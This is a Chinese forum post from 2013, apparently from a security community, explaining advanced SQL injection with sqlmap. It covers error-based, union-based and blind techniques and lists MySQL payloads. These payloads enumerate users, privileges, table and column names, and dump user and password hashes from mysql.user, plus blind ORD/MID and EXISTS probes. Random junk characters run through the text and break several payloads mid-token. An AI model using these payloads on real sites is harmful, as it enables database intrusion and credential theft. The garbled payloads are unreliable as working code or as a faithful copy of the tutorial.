找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2827|回复: 0
打印 上一主题 下一主题

sqlmap高级注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-16 20:31:26 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。
7 U3 I4 g! M, E- @. y( ~' {
5 {- [, q# k. r- P& _这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表
  y- w# ]- U5 }$ n0 J7 U ) C5 p0 L$ U* `( H; J! ]4 m
分类标准        分类        备注
) z5 P+ |# F% G! ?1 w9 e按字段类型        整型注入,字符型注入        ; v6 V' [" G& j  d) @
按出现的位置        get注入,post注入,cookie注入,http header注入        / w+ E! t# ^! J! H: I! X8 C
然而高级注入是这样的) \% z- R3 V) _1 o$ a+ d/ o4 f
) B# G& H; r  |, _3 M  C
高级注入分类        条件
# s/ H( z( ]& a  }0 B) o# v  Perror-based sql        数据库的错误回显可以返回,存在数据库,表结构
# R( N( E8 r; _  k  iunion-based sql        能够使用union,存在数据库,表结构
# z( E* F0 l( Z2 G7 kblind sql        存在注入
& N( U; G6 o' C& t$ a我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。: Z) U) U( |0 ^! _) M* t

1 d* Q0 P# v% }5 X2 {* A) w好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火
" A3 Z4 t3 _7 E( d2 { 9 O. H8 ?& t8 k- \6 P2 I
附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。
! x( w; i  Q2 {# q . z6 p# G& d; n! P9 T/ ?! v- u
这里用mysql说明1 X* ?+ y" e% S

& Q8 P2 L- S2 Z8 Q3 S& ^e注入坛子里很多了,请看戳我或者再戳我6 W: F1 z, n+ \1 ]
4 s% a  v1 [  D6 g, K, @
u注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的0 C0 v$ s7 t: n6 M! F0 e. N
$ Q1 N& X' J& l. z7 P5 `
获取当前数据库用户名
) b# G1 o! [  t
" V7 D* T2 d, h& ~8 Y+ ?UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C7 r- G6 a) w# m/ @! ]1 c0 L8 o
AST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL8 }! C* b2 E2 o8 ^0 `! a8 X
L, NULL#9 Z3 |" a! I, C  c* M
注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。1 q0 o- Q. g, T$ o4 D

, ^* N+ K  N4 n  s; }- o, u4 o获取数据库名9 T* J: R" O8 }3 q( O$ \8 |
4 z5 H% \- _) i# I3 t/ e, t: F2 J
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#) w! |7 J  F8 c+ G$ H1 J) F6 U8 U1 t
获取所有用户名
9 |0 M. F0 p4 M0 q: ^+ W; ?( d; o1 _4 s ) _2 L6 Y. ?- A: J. Z) l) f& ?2 _
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#& f5 }- t! H* S5 @9 o8 u
查看当前用户权限
% C1 N1 h6 n. Z0 a
4 Y7 A" C' f% @& x0 v3 j) SUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#2 u' ~& i! M# i: q( D- M
尝试获取密码,当然需要有能读mysql数据库的权限5 s. Q' h& I' B! d, e

# s- F3 q: A. ]0 p' ]0 B- iUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#* Q* A5 p" {; j) f7 h+ Z
获取表名,limit什么的自己搞啦
" N1 y3 p5 ^: w5 }' f - \3 n# g; I7 H9 ~
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#% w* W/ ]  D: L+ ~* Z0 w
获取字段名及其类型
1 V* U2 O' e7 g" h# O) hUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#: |/ b( C# L* o" L& n8 D
; @- ?7 Q1 e* h
b注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。5 F5 `$ q* {7 ?. {+ p9 w
. n0 p+ U. k4 s& f1 Z  w  S
如:6 w; Z( S; w  s1 @
获取当前用户名+ a- l  A2 N0 O& C+ J! z7 R

; r& u& C& c3 P' m+ UAND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116' [9 e+ v( v$ y/ y, e  U& j
获取当前数据库
2 q/ N% t' C* |& l/ J ! K; X; L4 J- U& [  _. [
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106& t6 }: J& K+ o& P7 K9 S
获取表名' M" h5 d$ d2 m
9 R: ~3 o; P1 V: t9 A
AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51
: G% w$ w2 N  v5 a获取字段名及其类型和爆内容就不说了,改改上面的就可以了。
# j+ _& m5 ?3 E6 N  W8 B) s  a回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。
3 Y4 e$ Z, V2 J" O4 R爆表) s' v9 s" _2 M- ^- R

  L( r1 }9 q) e) sAND EXISTS(select * from table)$ M% ], g. M, V
爆字段
8 {) T; k( W' G# S . R# ]0 W! C" ]& g/ q0 f
AND EXISTS(select pwd from table)% `2 P5 R5 ^/ ]# I) V/ h9 q
盲注的变化就比较多了,由于篇幅,只是举个例子而已。) I* U. q: ~* U
" j% V  l% M: Z% W- ^( I  l
本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。
6 V; n) v' G5 b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表